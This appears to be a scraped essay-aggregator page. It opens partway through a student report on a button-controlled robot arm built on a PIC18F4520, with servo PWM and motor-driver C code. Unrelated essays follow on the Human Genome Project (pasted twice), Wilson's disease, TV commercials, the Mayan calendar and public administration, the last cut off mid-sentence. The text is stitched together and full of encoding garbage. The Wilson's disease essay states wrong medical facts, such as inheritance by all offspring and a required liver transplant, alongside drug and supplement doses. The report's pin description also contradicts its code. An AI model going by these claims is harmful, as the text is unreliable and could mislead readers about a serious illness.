1 L7805 Voltage Regulator 1 20MHz Oscillator 1 9 Volt Battery 1 C40R Servo Motor 3 C55R Servo Motor 1 Servo Holder 4 Servo U Bracket 2 SPG10 Geared Motor 2 42mm Wheels 2 Robot Castors 2 Table 2.1.1 : Hardware Components To write the software one must be familiar with the hardware functionality, configuration and settings. The hardware of significant importance would be the microcontroller as the program is stored there. It sends the signal to the pins where other devices are connected. One of those devices is the servo motor. It is what controls the arm and base. Actual control of the servos is by buttons. Those buttons are connected to the microcontroller and is able to control the servo thru programming of the microcontroller. It is done by generating and manipulating PWM signals which will be discussed later. PROJECT BOARD 20.0 cm 24.0 cm 10.0 cm 25.6 cmTOP PROFILE.jpg Figure 2.1.1 : Robot Layout 2.2 Software Design After the purpose and specifications are determined it is time to plan and design the software. Most modern robots are controlled by sophisticated software. Creation and modification of the software is crucial to make machines work the way we want it to. There are many ways a machine can be programmed. The software is usually stored in the heart of the machine which is either a microprocessor or a microcontroller depending on what the machine does and how it works. That device is the brains of the robot as all the instructions are stored there. The software is the link for the user to the hardware as the program relays the instructions to the robot in machine code. The user writes the program in computer language which will then be converted into machine code by the compiler. There are many computer languages available to write programs such assembly, C, Pascal, BASIC and FORTH. For this project the microcontroller that is used is Microchips PIC18F4520. The language used to program the microcontroller is C. C is a simple and procedural language and it has influenced many later languages such Java. It is generally variable and function based. Values are stored in variables for easy access and it is structured by defining and calling functions to perform tasks. C allows precise control of the input and output. The input and output can be easily directed to the microcontroller terminals. The IDE (integrated development environment) that is used for this project is MPLAB which is a 32bit program used for the software development of this project along with the MPLAB C18 compiler add-on to allow the codes to be written in C . This is the screenshot of the development environment: C:UsersDanDesktopFYP ReportimagesUntitled.jpg Figure 2.2.1: MPLAB IDE The general idea of writing the program is to control the pins of the microcontroller. The robot arm mechanism and the base mechanism will be separated for easier explanation. The arm is made up of the 1st stage, 2nd stage, the left gripper and the right gripper. Control of the servos is by generating PWM signals which will be discussed in detail in chapter 4. By manipulation of these PWM signals we can control the servo movement to a certain angle with great precision. For the DC motors in the base, it is controlled via motor controller. By manipulating logic combinations we will be able to control the movement and direction of the base. Infinite loop to check for button press A button is pressed Necessary routine or function is called to move servo/ DC motor End Figure 2.2.2 : General Software Flowchart This is a general flowchart to represent the program flow. A while loop with an infinite condition is used to continuously check if a button has been pressed. If a button is pressed it will call the necessary function to run the specific device whether it is the servo or the DC motor. Chapter 3: Hardware Information 3.1 Microcontroller This project makes use of Microchip Technologys PIC18F4520 microcontroller. Lets discuss in detail what is a microcontroller and how it makes this project work. Notice that a microcontroller is chosen instead of a microprocessor for this project for a number of reasons. To make the choice, one must know the difference between a microcontroller and a microprocessor in terms of functionality and application. Both are typically a small computer in the form of an integrated circuit which contains things like registers, memory, I/O, interrupts and timers. They vary in terms of number of I/O, registers, clock speed and memory size. Microcontrollers are usually for cases that involve a lot of input output devices in contrast to a microprocessor which is usually used for heavy data applications. So that means microcontrollers dominate the robotics and automation industry. Lets examine closely what it looks like and the detailed features for this particular microcontroller, the PIC18F4520. Its versatility, robust nature and features contributed to the choosing of this IC. The detailed features along with its operation can be found in the datasheet for the microcontroller. C:UsersDanDesktopFYP ReportimagesPIC18F4520IP.jpg Figure 3.1.1 : PIC18F4250 Parameter Name   Value   Program Memory Type   Flash   Program Memory (KB)   32   CPU Speed (MIPS)   10   RAM Bytes   1,536   Data EEPROM (bytes)   256   Digital Communication Peripherals   1-A/E/USART, 1-MSSP(SPI/I2C)   Capture/Compare/PWM Peripherals   1 CCP, 1 ECCP   Timers   1 x 8-bit, 3 x 16-bit   ADC   13 ch, 10-bit   Comparators   2   Temperature Range (C)   -40 to 125   Operating Voltage Range (V)   2 to 5.5   Pin Count   40 Table 3.1.1 : PIC18F4250 Specifications Peripheral Highlights: à ¢Ã¢â€š ¬Ã‚ ¢ High-current sink/source 25 mA/25 mA à ¢Ã¢â€š ¬Ã‚ ¢ Three programmable external interrupts à ¢Ã¢â€š ¬Ã‚ ¢ Four input change interrupts à ¢Ã¢â€š ¬Ã‚ ¢ Up to 2 Capture/Compare/PWM (CCP) modules, one with Auto-Shutdown (28-pin devices) à ¢Ã¢â€š ¬Ã‚ ¢ Enhanced Capture/Compare/PWM (ECCP) module (40/44-pin devices only): One, two or four PWM outputs Selectable polarity Programmable dead time Auto-Shutdown and Auto-Restart à ¢Ã¢â€š ¬Ã‚ ¢ Master Synchronous Serial Port (MSSP) module supporting 3-wire SPIà ¢Ã¢â‚¬Å¾Ã‚ ¢ (all 4 modes) and I2Cà ¢Ã¢â‚¬Å¾Ã‚ ¢ Master and Slave Modes à ¢Ã¢â€š ¬Ã‚ ¢ Enhanced Addressable USART module: Supports RS-485, RS-232 and LIN 1.2 RS-232 operation using internal oscillator block (no external crystal required) Auto-Wake-up on Start bit Auto-Baud Detect à ¢Ã¢â€š ¬Ã‚ ¢ 10-bit, up to 13-channel Analog-to-Digital Converter module (A/D): Auto-acquisition capability Conversion available during Sleep à ¢Ã¢â€š ¬Ã‚ ¢ Dual analog comparators with input multiplexing) Power Managed Modes: à ¢Ã¢â€š ¬Ã‚ ¢ Run: CPU on, peripherals on à ¢Ã¢â€š ¬Ã‚ ¢ Idle: CPU off, peripherals on à ¢Ã¢â€š ¬Ã‚ ¢ Sleep: CPU off, peripherals off à ¢Ã¢â€š ¬Ã‚ ¢ Idle mode currents down to 5.8 ÃŽÂ ¼A typical à ¢Ã¢â€š ¬Ã‚ ¢ Sleep mode current down to 0.1 ÃŽÂ ¼A typical à ¢Ã¢â€š ¬Ã‚ ¢ Timer1 Oscillator: 1.8 ÃŽÂ ¼A, 32 kHz, 2V à ¢Ã¢â€š ¬Ã‚ ¢ Watchdog Timer: 2.1 ÃŽÂ ¼A à ¢Ã¢â€š ¬Ã‚ ¢ Two-Speed Oscillator Start-up Flexible Oscillator Structure: à ¢Ã¢â€š ¬Ã‚ ¢ Four Crystal modes, up to 40 MHz à ¢Ã¢â€š ¬Ã‚ ¢ 4X Phase Lock Loop (available for crystal and internal oscillators) à ¢Ã¢â€š ¬Ã‚ ¢ Two External RC modes, up to 4 MHz à ¢Ã¢â€š ¬Ã‚ ¢ Two External Clock modes, up to 40 MHz à ¢Ã¢â€š ¬Ã‚ ¢ Internal oscillator block: 8 user selectable frequencies, from 31 kHz to 8 MHz Provides a complete range of clock speeds from 31 kHz to 32 MHz when used with PLL User tuneable to compensate for frequency drift à ¢Ã¢â€š ¬Ã‚ ¢ Secondary oscillator using Timer1 @ 32 kHz à ¢Ã¢â€š ¬Ã‚ ¢ Fail-Safe Clock Monitor: Allows for safe shutdown if peripheral clock stops Special Microcontroller Features: à ¢Ã¢â€š ¬Ã‚ ¢ C compiler optimized architecture: Optional extended instruction set designed to optimize re-entrant code à ¢Ã¢â€š ¬Ã‚ ¢ 100,000 erase/write cycle Enhanced Flash program memory typical à ¢Ã¢â€š ¬Ã‚ ¢ 1,000,000 erase/write cycle Data EEPROM memory typical à ¢Ã¢â€š ¬Ã‚ ¢ Flash/Data EEPROM Retention: 100 years typical à ¢Ã¢â€š ¬Ã‚ ¢ Self-programmable under software control à ¢Ã¢â€š ¬Ã‚ ¢ Priority levels for interrupts à ¢Ã¢â€š ¬Ã‚ ¢ 8 x 8 Single-Cycle Hardware Multiplier à ¢Ã¢â€š ¬Ã‚ ¢ Extended Watchdog Timer (WDT): Programmable period from 4 ms to 131s à ¢Ã¢â€š ¬Ã‚ ¢ Single-supply 5V In-Circuit Serial Programmingà ¢Ã¢â‚¬Å¾Ã‚ ¢ (ICSPà ¢Ã¢â‚¬Å¾Ã‚ ¢) via two pins à ¢Ã¢â€š ¬Ã‚ ¢ In-Circuit Debug (ICD) via two pins à ¢Ã¢â€š ¬Ã‚ ¢ Wide operating voltage range: 2.0V to 5.5V à ¢Ã¢â€š ¬Ã‚ ¢ Programmable 16-level High/Low-Voltage Detection (HLVD) module: Supports interrupt on High/Low-Voltage Detection à ¢Ã¢â€š ¬Ã‚ ¢ Programmable Brown-out Reset (BOR With software enable option Here is a list of pins and how they are connected in the circuit. Pin Name Pin Number (PDIP) Functions MCLR 1 Reset RA1 3 Servo PWM Input RA2 4 Servo PWM Input RA3 5 Servo PWM Input RA4 6 Servo PWM Input VDD 11 +5V VSS 12 Grounded OSC1 13 Oscillator Crystal/External Clock Input OSC2 14 Oscillator Crystal/External Clock Input RC0 15 IN2 of Motor Driver RC1 16 IN1 of Motor Driver RC3 18 IN4 of Motor Driver RD0 19 IN3 of Motor Driver VSS 31 Grounded VDD 32 +5V RB0 33 Motor Push Button RB1 34 Motor Push Button RB2 35 Motor Push Button RB3 36 Motor Push Button RB4 37 Servo Arm Push Button RB5 38 Servo Arm Push Button RB6 39 Servo Arm Push Button RB7 40 Servo Arm Push Button Table 3.1.2 : Pin Connections C:UsersDanialDesktopFull Schem.JPG Figure 3.1.2 : Full Schematics 3.2 Motor Driver Figure 3.2.1 : SN754410 Motor Driver The SN754410NE is a quadruple half-H driver. The SN754410 can operate a pair of DC motors at the same time. It gives the robot bidirectional movements. It carries the peak output currents up to 1 ampere at a voltage range of 4.5 to 36V. The SN754410 has a minimum logic voltage of 4.5V and a maximum logic voltage of 5.5V. This driver is made to operate from a -400C to 850C. Drivers are enabled in pairs. Driver 1 and driver 2 are enabled by 1,2EN. Driver 3 and driver 4 are enabled by 3,4EN. When the input is low, the drivers are disabled and the outputs are off. If the input is high, the drivers are enabled and the outputs are on. Figure 3.2.2 : SN754410 Motor Driver Pinout Pin 1 (1,2EN) enables/ disables the motor Pin 2 (1A) is a logic pin for the motor Pin 3 (1Y) is for Motor A Pin 4, 5 are for grounding Pin 6 (2Y) is for Motor A Pin 7 (2A) connected to the motor Pin 8 (VCC2) connected to source for motor power Pin 9 (3,4EN) enables/ disables the motor Pin 10 (3A) connected to the motor Pin 11 (3Y) is for Motor B Pin 12, 13 are for grounding Pin 14 (4Y) is for Motor B Pin 15 (4A) connected to the motor INPUTS OUTPUT Y H = High Level L = Low Level X = Do Not Matter XX = OFF A EN H H H L H L X L XX Table 3.2.1 : SN754410 Function Table C:UsersDanialDesktopMotor.JPG Figure 3.2.3 : Motor Schematics 3.3 DC Motor This project will use the SPG10 Geared Motor that has 1.3 kg/cm torque. This motor is light enough to not weigh down the robot and only weighs 10 grams. It runs at 45 rpm. Figure 3.3.1 : SPG10 Motor C:UsersDanDesktopImages23042010(001).jpg Figure 3.3.2 : Motor Wheel 3.4 Servo Motor A servo is a mechanism used in robotic control systems. It is a mechanism that the user can set and forget. This is because of its ability to make corrections to return to its preset state if any changes occur. This is thanks to feedback operations. A servo is a casing that contains a DC motor, some gears with an output shaft, a variable resister that is connected to the output shaft, and a control board. The sensor mechanism allows the control circuit to monitor the current. The motor, through a series of gears, turns the output. The control circuit calculates the difference from the intended position from the current position the shaft is in. This makes the motor turn to its new position. If the control circuit senses that the position is accurate, it brings to a halt the motor. There are three connections to a servo; the power line, the ground line and finally the control signal. The servo needs to be told when to move and wont do so even if power is provided directly. The servo utilizes pulse width modulation (PWM) stream to indicate its position. Specification Servo Motor Model At 5 Volts Speed (s/60o) 0.19 Torque ( 6.00 Signal To Control Angle TTL PWM PWM At Min Angle (ms) 0.54 PWM At Max Angle (ms) 2.40 Operating Voltage (VDC) 4.8-6.0 Operating Frequency (Hz) 50.0 Moving Range(degree) 0-180 Wiring (Black/Brown Wire) Ground Wiring (Red Wire) 4.8-6.0 Volts Wiring (Orange/Other Wire) PWM Signal Table 3.4.1 : Servo Specifications C:UsersDanialDesktopUntitled.jpg Figure 3.4.1 : Servo Motor C:UsersDanialDesktopServo.JPG Figure 3.4.2 : Servo Schematic Chapter 4: Software Coding 4.1 PWM Generation PWM is simply the short form for pulse-width modulation. It is an efficient way to provide intermediate amounts of electrical power between fully on and fully off. This means PWM signals are digital, because at any instant given instant of time, the full DC supply is either fully on or fully off. PWM is employed in a wide variety of applications, ranging from measurement and communications to power control and conversion. Many microcontrollers include on-chip PWM controllers, like the one which is used this project, which makes this easy for controlling the servos for this project. One of the advantages of PWM is that the signal remains digital all the way from the processor to the controlled system and no digital-to-analog conversion is necessary. By keeping the signal digital, noise effects are minimized. Noise can only affect a digital signal if it is strong enough to change logic 1 to logic 0, or vice versa. PWM is the basis of controlling the servos in this project. Lets examine some basic theory. C:UsersDanDesktopFYP Reportimagespwm.gif Figure 4.1.1 : PWM Square Wave The diagram above shows a PWM signal that changes between 0 and 5 volts which is equivalent as digital logic 0 and 1. Notice that the waves are symmetrical. The uptime and downtime is 10ms when added together we get the period which is 20ms. Now that the basics are out of the way, lets look at how a normal servo signal input looks like. C:UsersDanDesktopFYP Reportimagespwm_servo.gif Figure 4.1.2 : PWM Wave Note that the servo runs at 50Hz frequency and therefore the period is 20ms. The uptime is what determines the angle of which the servo motor moves to. In simple words, we can tell the servo where to move with great precision. These are some examples for 180 ° servos. t = 0.9ms T = 20ms Angle = 0 ° t = 1.5ms T = 20ms Angle = 90 ° t = 2.1ms T = 20ms Angle = 180 ° The next step is to create these PWM signals using the PIC microcontroller. The PWMs is in this switch statement: switch(count){ //Choose which servo to modify case 1: PORTA = 0x02; // First Stage WriteTimer1( servo3 ); break; case 2: PORTA = 0x04; // Left Gripper WriteTimer1( servo1 ); break; case 3: PORTA = 0x08; //Right Gripper WriteTimer1( servo0 ); break; case 4: PORTA = 0x10; // Second Stage WriteTimer1( servo2 ); break; } Figure 4.1.3 : Switch Statement The operations for the timers are split in to 4 possible cases of how to generate PWM signal to the pins to power the servos. This is what the statement does:   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  //INTERRUPT CONTROL #pragma code InterruptVectorHigh=0x08 void InterruptVectorHigh (void) { _asm  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  //assembly code starts goto InterruptHandlerHigh   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  //interrupt control _endasm  Ã‚  Ã‚  //assembly code ends } #pragma code #pragma interrupt InterruptHandlerHigh   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  //end interrupt controlCase 1 turns PortA1 On and resets the timer1.   Case 2 turns PortA1 Off, PortA2 on and resets the timer1. Case 3 turns PortA2 Off, PortA3 on and resets the timer1. Case 4 turns PortA3 Off, PortA4 on and resets the timer1. Figure 4.1.4 : Interrupt Handler The switch statement is nested in the interrupt handler function. The interrupt handler handles the timer operations. The interrupt control runs assembly code and then calls the go-to function which is InterruptHandlerHigh. The interrupt controller is set at high priority 0x08. Once the interrupt control is correctly implemented interrupts is sent to the interrupt handler where we can do whatever operation necessary depending on the type of interrupt.   4.2 Arm Control void move(int one,int two,int three,int four, int five) { if(one) servo0 = one; // Right Gripper if(two) servo1 = two; // Left Gripper if(three) servo2 = three; // Second Stage Link if(four) servo3 = four; // First Stage Link }A move function is declared to make things easier when linking with buttons. The arguments of the move function are the respective position the servo moves to when it is called upon. Figure 4.2.1 : Move Function After the move function is declared it can be called when the specific button is pressed. //Arm Control if(PORTBbits.RB7==1) move(0xF03B,0xF477,0,0,0); //GRIP! if(PORTBbits.RB6==1) move(0,0,(servo2-0x0250),(servo3+0x0100),0); //MOVE AWAY if(PORTBbits.RB5==1) move(0,0,(servo2+0x0250),(servo3-0x0100),0); //MOVE TOWARDS if(PORTBbits.RB4==1) move(0xFA77,0xEE07,0,0,0); //UNGRIP! Figure 4.2.2 : Arm Button Check There are 4 buttons that control the movement of the arm. PortB pin 0: Close the gripper PortB pin 1: Move arm away PortB pin 2: Move arm towards PortB pin 3: Open the gripper C:UsersVictorDesktopImagesClose Gripper.jpg Figure 4.2.3 : Close Gripper This picture depicts a closed gripper state that is triggered by the button. The following figure is how the robotic arm will look when it is triggered to open both grippers. C:UsersDanDesktop22042010(007).jpg Figure 4.2.3 : Open Gripper 4.3 Base Control The only thing that needs to be controlled in the base is the 2 DC geared motors. It is linked with the microcontroller through the H-bridge. The motors rotational direction is determined by a combinational logic code as seen in the data sheet of the motor driver. It is the same with the servo, when a button is pressed certain commands will be executed. //Base Control if(PORTBbits.RB3==1) { //Forward control PORTCbits.RC1=1; PORTCbits.RC0=0; PORTDbits.RD0=1; PORTCbits.RC3=0; } if(PORTBbits.RB2==1) { //Reverse control PORTCbits.RC1=0; PORTCbits.RC0=1; PORTDbits.RD0=0; PORTCbits.RC3=1; } Figure 4.3.1 : Base Button Check (Forward/Reverse) if(PORTBbits.RB1==1) { //Left control PORTCbits.RC1=0; PORTCbits.RC0=1; PORTDbits.RD0=1; PORTCbits.RC3=0; } if(PORTBbits.RB0) { //Right Control PORTCbits.RC1=1; PORTCbits.RC0=0; PORTDbits.RD0=0; PORTCbits.RC3=1; } Figure 4.3.2 : Base Button Check (Left/Right) There are 4 buttons that control the movement of the base. PortB pin 4: Forward PortB pin 5: Reverse PortB pin 6: Move right PortB pin 7: Move left 4.4 Simulation C:UsersDanDesktopUntitled.jpg Figure 4.4.1 : Watch Simulation The MPLAB software allows a minimal amount of simulation to show that the program is written correctly. Due to software limitation on the PIC18F4520 it is unable to correctly show port activities. However it does show variable activity like in the figure by using the watch feature in the MPLAB. This screenshot shows the stepping when reaching the OpenTimer1 function. A separate window opens to show the function and it will continue to step through the function until it is done. C:UsersDanDesktopUntitled1.jpg Figure 4.4.2 : Program Stepping The stepping continues while opening the necessary functions in a separate window and steps though it until it is done. It reaches the while loop and it keeps looping as it waits for a button to be pressed. Figure 4.4.3 shows the final stage of the program stepping. C:UsersDanDesktopUntitled3.jpg Figure 4.4.3 : Final Stepping Chapter 5: Conclusions and Recommendation 5.1 Summary This project has further expanded my interest and knowledge in the field of robotics. A project that is very hands on like this helps with the development of certain skills that would certainly help when I go on to become a professional engineer. The most important skill would be planning the stages of the project. To conclude, this project involved two phases which is the hardware design and software design. This report covered the software aspect in detail. In the early stages of this project different methods was planned for the outcome. At the start, the use of a PLC (programmable logic controller) was planned. However it proved to be infeasible in terms of cost and size. In the end it was decided that a PIC microcontroller was to be use as it is easier to implement with respect to the project and provides a great deal of functionality. The programming was made easier with the addition of the C compiler thus enabling the use of a higher level language which is C. With the use of a language of higher level it would be easier to implement features that were not possible using the PLC. 5.2 Recommendations In this project, certain improvements can be made in order to make things work more efficiently. For example, the quick movements seen in the arm is because of the incrementer seen in the codes and lack true control software. By revising the software and introducing more control oriented design it is possible to fine tune the speed. Instead of the 2 robot castors that make up the front motion it could be replaced with wheels and a servo in between them to make the movement and control similar to remote controlled cars. The wired controller could be replaced with a wireless RF controller to allow more freedom to the user. The body work could be improved by using sturdier and lightweight materials such as aluminium. Some sensors could be added to enhance the normal usage of the arm.

Thursday, September 19, 2019

Faith versus Reason in the Human Genome Project :: Essays Papers

Faith versus Reason in the Human Genome Project Do humans have the right to play God? This question lurks as a major factor when describing the objective of the Human Genome Project. The Human Genome Project is an "international research organized to characterize the genomes of human and selected model organisms through complete mapping and sequencing of their DNA."1 When the characterization of genes occurs, many technological breakthroughs will result. The idea of having a Human Genome Project was conceived in the mid 1980’s. It is expected to be completed in 2003. "Congress funded the Human Genome Project hoping it would lead to cures."2 Although the Human Genome Project appears to be appealing and beneficiary, it does have its doubters and opponents. One particular controversy is the topic concerning the Human Genome Project is the theme of faith versus reason. The proponents believe that the Human Genome Project can only benefit people by unlocking the codes of certain diseases. Some opponents have created the beli ef that humans could assume the role of God. They feel human lives could be controlled like puppets. The major opponent’s figure by diagnosing diseases of inherited traits, that there will be an effect on topics concerning gene enhancement, evolution, and abortion. Due to the many technological advances, the Human Genome Project could lead to such a thing as Gene Enhancement. Gene Enhancement can be described as "the use of genetic engineering to supply a characteristic that parent might want in a child that does not involve the treatment or prevention of disease."3 By enhancing genes, scientists could basically play the role of God. Proponents of gene enhancement believe that scientists could make the world a better place. Through enhancement of genes, parents can improve their child’s overall well being. For example, if there were a family characteristic of being short, the doctors would be able to change the genes around and make the child tall. Human intelligence could drastically improve, leading to an improvement in world conditions. If intelligence increased, there may be potential for technological breakthroughs. Many, however, oppose the concept of gene enhancement. The opponents feel that the scientists will have too much power. They continue to question the responsibility of physicians modifying a patient's inheritence.4 They feel the diversity God intended to have would eventually disappear. Parents would all want their children to have superior characteristics, therefore leading to a common bond and competition between all children. Faith versus Reason in the Human Genome Project :: Essays Papers Faith versus Reason in the Human Genome Project Do humans have the right to play God? This question lurks as a major factor when describing the objective of the Human Genome Project. The Human Genome Project is an "international research organized to characterize the genomes of human and selected model organisms through complete mapping and sequencing of their DNA."1 When the characterization of genes occurs, many technological breakthroughs will result. The idea of having a Human Genome Project was conceived in the mid 1980’s. It is expected to be completed in 2003. "Congress funded the Human Genome Project hoping it would lead to cures."2 Although the Human Genome Project appears to be appealing and beneficiary, it does have its doubters and opponents. One particular controversy is the topic concerning the Human Genome Project is the theme of faith versus reason. The proponents believe that the Human Genome Project can only benefit people by unlocking the codes of certain diseases. Some opponents have created the beli ef that humans could assume the role of God. They feel human lives could be controlled like puppets. The major opponent’s figure by diagnosing diseases of inherited traits, that there will be an effect on topics concerning gene enhancement, evolution, and abortion. Due to the many technological advances, the Human Genome Project could lead to such a thing as Gene Enhancement. Gene Enhancement can be described as "the use of genetic engineering to supply a characteristic that parent might want in a child that does not involve the treatment or prevention of disease."3 By enhancing genes, scientists could basically play the role of God. Proponents of gene enhancement believe that scientists could make the world a better place. Through enhancement of genes, parents can improve their child’s overall well being. For example, if there were a family characteristic of being short, the doctors would be able to change the genes around and make the child tall. Human intelligence could drastically improve, leading to an improvement in world conditions. If intelligence increased, there may be potential for technological breakthroughs. Many, however, oppose the concept of gene enhancement. The opponents feel that the scientists will have too much power. They continue to question the responsibility of physicians modifying a patient's inheritence.4 They feel the diversity God intended to have would eventually disappear. Parents would all want their children to have superior characteristics, therefore leading to a common bond and competition between all children.

Wednesday, September 18, 2019

the wilsons disease :: essays research papers

The Wilson’s Disease   Ã‚  Ã‚  Ã‚  Ã‚  The Wilson’s disease is a genetic disorder of the thirteenth chromosome. This disease is an inherited disease and it is mostly likely to be in all of the offspring if a parent had it. It is the unnecessary increase of copper in the liver and brain. This is cause by a defect in the transport of copper. Wilson’s disease is a rare autosomal recessive disorder of the copper transport resulting in the copper buildup. It is also known as Hepatolenticular Degeneration as the scientific name. This mutation prevents the body from eliminating the extra copper.   Ã‚  Ã‚  Ã‚  Ã‚  The symptoms include quivering in the upper extremities, Slowness of movement and changes in personality. They will be exceptionally argumentative and overly emotional. They will have a Decrease in mental capabilities and Speech disorders. Liver damage will be one of the first things to go wrong and needs mandatory attention. There will be Neurological disturbances like dementia and leading to deterioration of your coordination. Corneal markings occur along with a Rusty brown discoloration at the rims of the corneas. These are major problems that can’t be gotten rid of easily. There are very few ways to get rid of the symptoms of Wilson’s disease. It is necessary to get at least one liver transplant during their life. Most patients get chelation therapy to remove different amounts of copper. To remove copper penicillamine, zinc salts and/or trientine are used. Galzin is used to get rid of some physical symptoms of the Wilson’s disease. It is necessary to take 50MG of Galzine three times a day for it to work properly. Sometimes Zinc Acetate is given to block the absorption of extra copper. It is also necessary for a person with Wilson’s disease to have a different diet. They often have a depletion of pyridoxine or B-6 and need supplements of 25MG daily. The food they eat should stay low in copper, at less than 0.1MG per portion. They could probably handle about 0.7MGs a day. People with Wilson’s disease can’t eat a number of foods like tofu, mushrooms, and raisins, any kind of beans, chocolate, soy milk, nuts, or mineral water.

Finding Freedom with a Dodge Truck and Love with a Zales Diamond Essay

Finding Freedom with a Dodge Truck and Love with a Zales Diamond Television commercials, although usually ignored and generally disliked by the public, are more influential than most people think. Their concepts are subconsciously absorbed and whether or not viewers realize it, they leave an impact on their minds. Marie Winn quotes an English instructor in her essay, â€Å"Television Addiction,† as saying ‘I find television almost irresistible. When the set is on, I cannot ignore it. I can’t turn it off’ (506). Advertisers know that people become addicted to television shows and because of this, they are forced to watch the commercials as well. These repetitious commercials get the consumers influenced by what they see. For example, Dodge promoters use a ram as their mascot which is reflected in their motto â€Å"Grab Life by the Horns,† and it is shown at the end of all their commercials. They want you to seize the freedom in life that you have while making a Dodge car a part of it. Another example of an abstrac t idea promoted in a commercial is the Zales diamond advertisement where a man expresses his love for his girlfriend by not only unrestrainedly shouting it out loudly, but also by presenting her with a beautiful diamond ring. While these commercials induce people to buy their products, they also evoke certain emotions, more specifically the ideas of freedom and love. Dave Barry states in his essay, â€Å"Red, White, and Beer,† â€Å"Lately I’ve been feeling very patriotic, especially during commercials† (519). So, commercials have the power to make consumers feel particular emotions. For instance, the Dodge car promoters use an outdoor setting in their commercial to advertise their trucks. The area is a vast, wide open plain with no... ...tisement for it, because of its visual representation. In conclusion, advertisers have the job of not only tempting viewers to buy a product, but also the power to make them feel emotions through visually showing different situations. â€Å"Dodge† wants you to break away from the norm and embrace freedom while â€Å"Zales† encourages spontaneity in love. In order to fulfill these emotions, the viewers are induced to purchase the product, therefore accomplishing the task of the advertisers. Works Cited Barry, Dave â€Å"Red, White, and Beer† The McGraw-Hill Reader 8th ed. Ed. Gilbert H. Muller New York: McGraw Hill, 2003, 519-521 Dove, Rita â€Å"Loose Ends† The McGraw-Hill Reader 8th ed. Ed. Gilbert H. Muller New York: McGraw Hill, 2003, 503-505 Winn, Marie â€Å"Television Addiction† The McGraw-Hill Reader 8th ed. Ed. Gilbert H. Muller New York: McGraw Hill, 2003, 505-507

Tuesday, September 17, 2019

Mayan Calendar

The Mayan Calendar is a manifold system of time-tracking developed by the Mayan civilization of Mesoamerica. The calendar was developed using several different mechanisms of tracking time according to the astronomic or mythic events. The Mayans had many different â€Å"calendars† by the time of the ancient civilizations of Central and South America, however, the Mayan Calendar was to be considered the most accelerate. It is known as a clear indication of the educated significance in Mayan culture. There are three different types of dating systems used in conjunction with the Mayan Calendar. The Long Count, The Tzolkin, and the Haab. The Long Count calendar identifies a date by counting the number of days from the Mayan creation date. Long count days were tallied in a modified 20-base scheme. For periods that are meant to be longer than 52 years the Long Count Calendar was used. There is no evidence that the Long Count Calendar is meant to be repeating. This type of calendar can be found carved on Mayan Monuments. The Tzolkin calendar is the sacred moon calendar for the Mayans. The calendar consists of 20 day signs combined with 13 numbers. The 13 numbers tell how many days it takes for the moon to go from new to full and another 13 from full to new. The 260 day calendar is believed to be tied to the woman’s birth cycle. The Tzolkin calendar has also been used for agricultural planning in determining the length of time between planting crops and harvesting. Tzolkin calendar was considered to be the most important of the calendar systems. The Haab calendar is comprised of 18 months of 20 days each. It is preceded by five extra days known as Uayeb thus giving the years length of 365 days. Uayeb was considered to be â€Å"the unlucky period†. The persons born on these days were â€Å"doomed to a miserable life†. The days in of the month used in Haab were numbered 0 to 19 rather than 1 to 20. The use of the 0th day has significance due to the fact that it is believed Mayan’s discovered the number zero centuries before it was discovered in Europe or Asia. The years of the Haab calendar are not counted. The system of the Mayan calendar ended with the fall of the Mayan civilization. The majority of the remaining knowledge of it was destroyed by he Spanish during the overthrow. It wasn’t until the 1990’s that archeologists discovered more extensive knowledge of the Mayan civilization regarding the calendrical system. The Mayans were believed to be skilled mathematicians and astronomers far beyond their time. They had a firm understanding of modular arithmetic. In conclusion, for us the Mayan calendar is a glimpse into the ancient world and how they viewed astronomy, time and dates. The ramification of the Mayan calendar tells experts a substantial amount about their culture or way of life. Due to the Long Count calendar the Mayans believed they would be around for many years. Though pre-Columbian Mesoamerica remains concealed in conundrum, we continuously unveil discoveries and artifacts throughout the years. The discoveries lead us to more knowledgeable understanding of the Mayan calendar. It is considered to be a precious piece of information. Many archeologists and anthropologists proclaim that it is worth the study and pursuit. It is viewed as an open door into a buried history that experts still valiantly try to understand. www. webexhibits. org www. mayancountdown. net

Monday, September 16, 2019

Concept Of Public Administration

The government is set up to help and serve the people of its nation. The primary focus of the government is to provide, protect, and serve its citizens. In order for the government to remain accountable and to be effective, the field of com/public-administration-and-management-advantages-and-disadvantages-of-partnerships-in-terms-of-improving-service-delivery-and-accountability/">public administration was created to provide checks to the citizens to make sure the government is being held accountable. Public administration is defined as † Public administration entails civil servants implementing a specified policy within the confines of a government executive framework.Public administrators ensure that every facet of federal, state, and local public services are offered and executed to help pave the way for the future. † The biggest challenge of being in public administration is making sure that you are being held accountable and doing what is right and not what is popular . First, one the biggest obstacle in public administration is leadership and management in this field. Making sure that a public administrator is someone who is going to do what is right and fair is hard to find.Not only that being a public administrator and making everyone happy is nearly impossible due to the fact that everyone wants different things and plans. Next, the major functions in publis administration are a public administrator must be fair, firm, and consistent. A public administrator must be fair in all instances and cannot have favorites because this create dishonesty and a loss of trust. This can hamper the effectiveness of the organization all together. Next, a public administrator has to be firm.This means that many different people are going to question and ponder their decisions that are made. The public administrator has to be confident in their decision and stand by them. Next, must allows remain accountable and ethical. A public administrator cannot back track or place the blame on someone else if a decision they made does not go well. Next, a public administrator must be consistent. If they do one thing in a situation then when similar situation arises they need to continue to act in the same fashion as they first did.Next, one of the be\biggest obstacles with being in public administration is always making sure you are acting politically correct in context . This becomes very difficult because it seems there is always someone who can get offended by everything someone says or does. This become problematic when comes to dealing with public administration issues. One of the biggest obstacles is holding the government accountable and having intergovernmental relationships. A lot of public administration jobs are used in the sense that they hold politicians accountable for their jobs and the bills they pass.They are suppose to make sure the government is doing their job. † Government policy analysts are responsible for creating progr am policy and then evaluating its effectiveness. Policy analysts introduce pertinent decisions with data sets and hypotheses regarding the possible effects of the proposed policy. Afterward, they critique the results and then make adjustments according to need. † Often times when the government does not meet the demands of the people, it is the public administration field that is held accountable not the politician on why these actions were allowed to take place.The biggest challenges is applying the intergovernmental relations which is the finding of that middle ground of where the people are satisfied that you are holding the government accountable but at the same time making sure the politician is happy and does not wither defund you or fire you because you were holding them too accountable. Finally, when looking at public administration as a whole the biggest aspect is not to get too concerned and overwhelmed by the job given too you. Organizational behavior plays a major role in making decisions and learning how to appease the 